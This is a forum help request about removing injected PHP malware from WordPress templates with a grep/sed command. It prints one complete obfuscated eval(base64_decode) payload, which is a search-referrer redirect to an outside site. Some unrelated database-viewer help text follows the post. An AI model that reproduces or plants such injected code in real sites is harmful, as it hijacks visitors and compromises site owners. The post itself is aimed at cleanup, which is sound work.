Trying to clean up after a slew of php injections -- every php function in about six sites worth of WordPress templates is full of junk. I've got everything off the server, onto a local machine, and I'm hoping there should be a good way to delete all of the enormous code strings with terminal. Of which I know approximately nothing. <a href="http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/" rel="nofollow">http://devilsworkshop.org/remove-evalbase64decode-malicious-code-grep-sed-commands-files-linux-server/</a> had good instructions for doing a clear on the server, but substituting my path/to/folder doesn't seem to be working in terminal. Feeling I'm close, but, blind as I am to the ways of the terminal, that doesn't seem that comforting. Based on the above, here's what I've got -- any help would be so amazingly appreciated. <pre><code>grep -lr --include=*.php "eval(base64_decode" "/Users/Moxie/Desktop/portfolio-content" | xargs sed -i.bak 's/<?php eval(base64_decode[^;]*;/<?php\n/g' </code></pre> UPDATED derobert -- thanks a million for helping with this -- basically, the space after every <code><?php</code> before the actual function had this inserted into it: <code>eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vd3d3LnN0bHAuNHB1LmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));</code> The characters change with each one, so a simple find and replace won't work (which was, I'm pretty sure, the point).

A row detail

Detail views are divided into sections. All the information in the data section comes from columns in the selected row. The other sections display data from other, related rows.

Related data can be related in a to-one or a to-many fashion. Captions of data related in a to-many fashion link to a list view showing a filtered view of the table.

Try moving around until you find a non-empty to-many entry and click on the label to get to one. You can move back to the root by clicking on the database name in the header.
